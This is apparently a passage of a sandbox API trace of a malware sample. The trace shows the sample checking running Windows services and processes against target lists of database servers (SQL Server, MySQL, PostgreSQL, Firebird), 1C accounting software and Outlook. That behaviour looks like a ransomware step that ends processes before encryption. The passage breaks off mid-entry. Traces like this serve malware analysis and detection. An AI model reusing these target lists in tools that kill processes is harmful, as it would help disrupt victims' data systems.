[0055.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0055.682] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0055.682] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0055.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0055.683] lstrlenW (lpString="nsi") returned 3 [0055.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0055.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0055.683] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0055.683] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0055.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0055.683] lstrlenW (lpString="PcaSvc") returned 6 [0055.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0055.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0055.683] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0055.683] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0055.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0055.683] lstrlenW (lpString="PlugPlay") returned 8 [0055.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0055.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0055.683] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0055.683] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0055.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0055.683] lstrlenW (lpString="Power") returned 5 [0055.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0055.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0055.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0055.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0055.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0055.683] lstrlenW (lpString="ProfSvc") returned 7 [0055.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0055.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0055.683] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0055.683] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0055.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0055.683] lstrlenW (lpString="RpcEptMapper") returned 12 [0055.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.683] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0055.684] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0055.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0055.684] lstrlenW (lpString="RpcSs") returned 5 [0055.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0055.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0055.684] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0055.684] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0055.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0055.684] lstrlenW (lpString="SamSs") returned 5 [0055.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0055.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0055.684] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0055.684] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0055.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0055.684] lstrlenW (lpString="Schedule") returned 8 [0055.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0055.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0055.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0055.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0055.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0055.684] lstrlenW (lpString="SENS") returned 4 [0055.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0055.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0055.684] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0055.684] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0055.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0055.684] lstrlenW (lpString="ShellHWDetection") returned 16 [0055.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.684] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0055.685] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0055.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0055.685] lstrlenW (lpString="Spooler") returned 7 [0055.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0055.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0055.685] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0055.685] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0055.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0055.685] lstrlenW (lpString="swprv") returned 5 [0055.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0055.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0055.685] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0055.685] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0055.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0055.685] lstrlenW (lpString="SysMain") returned 7 [0055.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0055.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0055.685] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0055.685] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0055.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0055.685] lstrlenW (lpString="Themes") returned 6 [0055.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0055.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0055.685] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0055.685] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0055.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0055.685] lstrlenW (lpString="TrkWks") returned 6 [0055.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0055.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0055.685] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0055.685] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0055.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0055.685] lstrlenW (lpString="UxSms") returned 5 [0055.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0055.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0055.686] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0055.686] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0055.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0055.686] lstrlenW (lpString="VSS") returned 3 [0055.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0055.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0055.686] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0055.686] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0055.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0055.686] lstrlenW (lpString="WdiServiceHost") returned 14 [0055.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.686] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0055.686] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0055.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0055.686] lstrlenW (lpString="WdiSystemHost") returned 13 [0055.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.686] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0055.686] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0055.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0055.686] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0055.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.686] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0055.686] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0055.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0055.686] lstrlenW (lpString="Winmgmt") returned 7 [0055.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0055.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0055.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0055.687] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0055.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0055.687] lstrlenW (lpString="WPDBusEnum") returned 10 [0055.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0055.687] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0055.687] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0055.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0055.687] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x60eb98 | out: hHeap=0x510000) returned 1 [0055.687] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0055.690] Process32FirstW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0055.691] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0055.691] lstrlenW (lpString="System") returned 6 [0055.691] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0055.691] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0055.691] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0055.691] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0055.691] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0055.691] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0055.691] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0055.691] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0055.691] lstrlenW (lpString="smss.exe") returned 8 [0055.691] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0055.691] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0055.691] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0055.691] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0055.691] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0055.691] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0055.691] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0055.691] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.692] lstrlenW (lpString="csrss.exe") returned 9 [0055.692] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0055.692] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0055.692] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0055.692] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0055.692] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0055.692] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0055.692] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0055.692] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0055.692] lstrlenW (lpString="wininit.exe") returned 11 [0055.692] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0055.692] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0055.692] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0055.692] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0055.693] lstrlenW (lpString="csrss.exe") returned 9 [0055.693] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0055.693] lstrlenW (lpString="winlogon.exe") returned 12 [0055.693] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0055.693] lstrlenW (lpString="services.exe") returned 12 [0055.693] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0055.694] lstrlenW (lpString="lsass.exe") returned 9 [0055.694] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0055.694] lstrlenW (lpString="lsm.exe") returned 7 [0055.694] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.695] lstrlenW (lpString="svchost.exe") returned 11 [0055.695] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.695] lstrlenW (lpString="svchost.exe") returned 11 [0055.695] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.695] lstrlenW (lpString="svchost.exe") returned 11 [0055.695] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.696] lstrlenW (lpString="svchost.exe") returned 11 [0055.696] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.696] lstrlenW (lpString="svchost.exe") returned 11 [0055.696] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0055.696] lstrlenW (lpString="audiodg.exe") returned 11 [0055.696] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.696] lstrlenW (lpString="svchost.exe") returned 11 [0055.697] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.697] lstrlenW (lpString="svchost.exe") returned 11 [0055.697] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0055.697] lstrlenW (lpString="dwm.exe") returned 7 [0055.697] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0055.697] lstrlenW (lpString="explorer.exe") returned 12 [0055.698] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0055.698] lstrlenW (lpString="spoolsv.exe") returned 11 [0055.698] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.698] lstrlenW (lpString="taskhost.exe") returned 12 [0055.698] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.698] lstrlenW (lpString="svchost.exe") returned 11 [0055.698] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0055.699] lstrlenW (lpString="taskeng.exe") returned 11 [0055.699] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.699] lstrlenW (lpString="taskhost.exe") returned 12 [0055.699] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0055.699] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0055.699] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0055.700] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0055.700] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0055.700] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0055.700] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0055.701] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0055.701] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0055.701] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0055.701] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0055.701] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0055.701] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0055.701] lstrlenW (lpString="toyota.exe") returned 10 [0055.701] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0055.702] lstrlenW (lpString="radiation.exe") returned 13 [0055.702] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0055.702] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0055.702] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0055.702] lstrlenW (lpString="ur illustration.exe") returned 19 [0055.702] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0055.703] lstrlenW 